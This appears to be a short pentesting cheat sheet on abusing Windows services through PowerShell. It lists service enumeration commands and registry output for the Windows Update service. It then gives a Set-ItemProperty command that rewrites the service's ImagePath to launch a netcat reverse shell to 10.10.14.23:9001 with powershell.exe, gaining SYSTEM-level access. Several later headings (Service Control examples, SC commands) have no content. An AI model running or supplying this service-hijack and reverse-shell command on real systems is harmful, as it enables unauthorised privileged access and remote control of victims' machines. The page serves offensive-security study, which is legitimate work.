Abusing Services

Powershell

Below is an example on how to abuse the Windows Update Service

# Show all services
Get-Service

# Show details of the services
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\*

# Shows details about the specific service
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\wuauserv 

DependOnService     : {rpcss}                                                                                                                                                                 
Description         : @%systemroot%\system32\wuaueng.dll,-106                                                                                                                                 
DisplayName         : @%systemroot%\system32\wuaueng.dll,-105                                                                                                                                 
ErrorControl        : 1                                                                                                                                                                       
FailureActions      : {128, 81, 1, 0...}                                                                                                                                                      
ImagePath           : C:\Windows\system32\svchost.exe -k netsvcs -p
ObjectName          : LocalSystem
RequiredPrivileges  : {SeAuditPrivilege, SeCreateGlobalPrivilege, SeCreatePageFilePrivilege, SeTcbPrivilege...}
ServiceSidType      : 1
Start               : 3
SvcMemHardLimitInMB : 246
SvcMemMidLimitInMB  : 167
SvcMemSoftLimitInMB : 88
Type                : 32
PSPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv
PSParentPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
PSChildName         : wuauserv
PSDrive             : HKLM
PSProvider          : Microsoft.PowerShell.Core\Registry

# Sets properties on the service
Set-Itemproperty -path 'HKLM:\system\currentcontrolset\services\wuauserv' -Name 'ImagePath' -value 'c:\temp\nc.exe 10.10.14.23 9001 -e powershell.exe' 

Powershell Services Commands

Get all the details about the service. useful to see if you can stop and start etc...

Controlling the services

Service Control

Example 1: Using the Service Control to abuse Universal Plug and Play Service

Example 2: Application Host Helper Service

SC Commands

Last updated